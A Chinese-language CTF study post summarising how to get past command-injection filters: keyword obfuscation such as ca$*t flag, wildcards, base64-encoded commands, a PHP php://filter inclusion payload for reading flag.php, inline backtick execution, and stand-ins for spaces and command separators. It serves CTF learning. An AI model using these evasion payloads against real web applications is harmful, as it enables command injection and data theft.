写在前面
关于命令执行的绕过方法,前人之述备矣。此篇文章只是根据本人刷题经验以及大佬们的博客做一总结。希望可以帮到广大爱好CTF的入门师傅们 ^_^
对于关键字过滤的绕过
转义符号绕过
用于对cat flag等关键字的过滤
空变量
1 2 3
| ca$*t flag ca$@t flag ca${3}t flag
|
反引号
通配符(正则)
附上一张匹配表
字符 |
解释 |
* |
匹配任意长度的字符 |
? |
匹配单个字符 |
[list] |
匹配list内的单个字符 |
[^list]或[!list] |
匹配list之外的单个字符 |
{str1,str2…} |
匹配指定字符串 |
拼接变量
使用其他漏洞绕过
如文件包含漏洞(需要题目存在相关可利用漏洞)
1
| c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
|
编码绕过
1
| `echo 'Y2F0Cg==' | base64 -d` flag
|
对于关键函数过滤的绕过
命令执行函数
PHP代码执行函数举例
1
| eval(); assert(); call_user_func(); uasort(); highlight_file(); print_r();
|
PHP命令执行函数举例
1
| system(); exec(); shell_exec(); pcntl_exec(); popen(); passthru();
|
内敛执行绕过
1 2 3 4
| echo `ls`; echo $(ls); ?><?=`ls`; ?><?=$(ls);
|
使用编码绕过
base64、进制转换均可尝试
无回显
- 判断是否执行成功,可使用sleep();
- 用复制等方法绕过(注意权限)
1 2 3
| copy flag 1.txt mv flag 1.txt cat flag > 1.txt
|
过滤特殊符号
空格
1 2 3 4
| %09(url传递); ${IFS}; <>; <;
|
目录分隔符
1 2 3 4 5 6
| ; //分号 | //只执行后一指令 || //只执行前一指令 &(&&) //执行两条指令 %0a //换行符 %0d //回车
|
括号